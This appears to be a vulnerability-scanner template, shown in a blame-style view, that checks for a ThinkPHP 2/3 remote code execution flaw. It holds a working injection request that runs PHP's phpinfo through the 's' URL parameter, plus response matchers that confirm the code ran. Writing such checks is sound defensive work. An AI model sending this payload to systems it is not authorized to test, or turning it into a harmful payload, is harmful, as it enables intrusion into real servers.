2021-01-19 04:16:59 +00:00
|
|
|
id: thinkphp-2-rce
|
|
|
|
|
|
|
|
info:
|
2021-05-02 06:07:50 +00:00
|
|
|
name: ThinkPHP 2 / 3 's' Parameter RCE
|
2021-01-19 04:16:59 +00:00
|
|
|
author: dr_set
|
|
|
|
severity: critical
|
|
|
|
description: ThinkPHP 2.x version and 3.0 in Lite mode Remote Code Execution.
|
2021-01-19 07:03:48 +00:00
|
|
|
reference: https://github.com/vulhub/vulhub/tree/0a0bc719f9a9ad5b27854e92bc4dfa17deea25b4/thinkphp/2-rce
|
2021-02-12 05:53:01 +00:00
|
|
|
tags: thinkphp,rce
|
2021-01-19 04:16:59 +00:00
|
|
|
|
|
|
|
requests:
|
|
|
|
- method: GET
|
|
|
|
path:
|
|
|
|
- "{{BaseURL}}/index.php?s=/index/index/name/$%7B@phpinfo()%7D"
|
2021-09-30 13:05:14 +00:00
|
|
|
|
2021-01-19 04:16:59 +00:00
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: word
|
|
|
|
words:
|
|
|
|
- "PHP Extension"
|
|
|
|
- "PHP Version"
|
2021-09-30 13:05:14 +00:00
|
|
|
- "ThinkPHP"
|
2021-01-19 04:16:59 +00:00
|
|
|
condition: and
|
2021-09-30 13:05:14 +00:00
|
|
|
|
2021-01-19 04:16:59 +00:00
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|